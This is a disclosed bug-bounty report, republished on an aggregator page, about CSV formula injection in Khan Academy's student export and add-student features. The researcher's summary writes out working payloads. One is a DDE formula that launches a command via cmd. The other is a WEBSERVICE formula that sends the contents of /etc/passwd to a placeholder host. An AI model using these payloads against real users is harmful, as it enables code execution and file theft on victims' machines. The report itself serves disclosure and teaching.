Skip to content
RCE Disclosed report Intermediate

CSV Injection Via Student Password/Name Leads To Client Side RCE And Reading Client Files

The CSV export and student add functions did not properly escape user-supplied data, allowing an attacker to inject spreadsheet formulas. When a teacher opened the exported CSV, the formulas could execute commands or read local files on the teacher's machine.

demonia Follow

Originally disclosed on HackerOne

  • Triaged in 24 hours
  • Fixed in 26 days
  • Disclosed after 32 days

Summary by the program

Insufficient CSV escaping could result in our site generating an unsafe CSV file for an end user under certain conditions. See the reporter's summary for more.

Summary by the researcher

Two CSV Injection Issues Was Discovered On Khan's Teacher CSV Export Function, That Could Allow Client Site Remote Code Execution, And Reading Local Files From The Client Machine.

First One Was Discovered On Students Data Export Function, I Was Able To Avoid Double Quotes Filter With White Space At First, By Using LibreOffice Singel Quotes Format. I Was Able To Add This Simple Payload ",'=2+11'," That Got Executed With 13 On The Cell Since The Double Quotes Changes From " To "", And The Payload Successfully Got On The Cell, After Some Testing, I Got That This Method Only Work For Executing Stuff That Doesn't Contain Double Quotes, But it's Possible To Triage The Other Real Attacks If The Double Quotes Don't Get Increase Twice.

The second One Was Discovered On Add Student Function For The Teacher, After The Teacher Add's The User, He's Able To Download The User's Data Via CSV, Student Password Was The Vulnerable Input Here Since There's No CSV Filters For The Password, Client-Side RCE, And Client Local File Access Was Possible Using This Payload's

Remote Code Execution: ;=2+5+cmd|' /C calc'!A0 Local File Read: "=WEBSERVICE(CONCATENATE(""https://HOST:PORT"" , ('file:///etc/passwd'#$passwd.A1)))"

Thanks For @drosile, For The Great Work!

The original report as published on HackerOne, by demonia. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application did not escape or prefix user-controlled fields (such as student name or password) before including them in CSV exports, allowing formula injection.

Impact

An attacker could achieve client-side remote code execution and read local files on the victim's machine when the victim opens the crafted CSV, though the text does not specify whether defences like spreadsheet warnings limited the exploit.

What the attacker needed

A teacher adds a student with malicious input; victim opens the exported CSV in a spreadsheet

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSV files are plain text tables that spreadsheet programs like Excel or LibreOffice open. If a cell starts with certain characters, the spreadsheet may treat it as a formula and run it. Here, the site failed to neutralise such characters in exported data, so a malicious formula could run on the teacher's computer when they opened the file.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by demonia

View all

5 more disclosed reports, best first.

More from Khan Academy

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.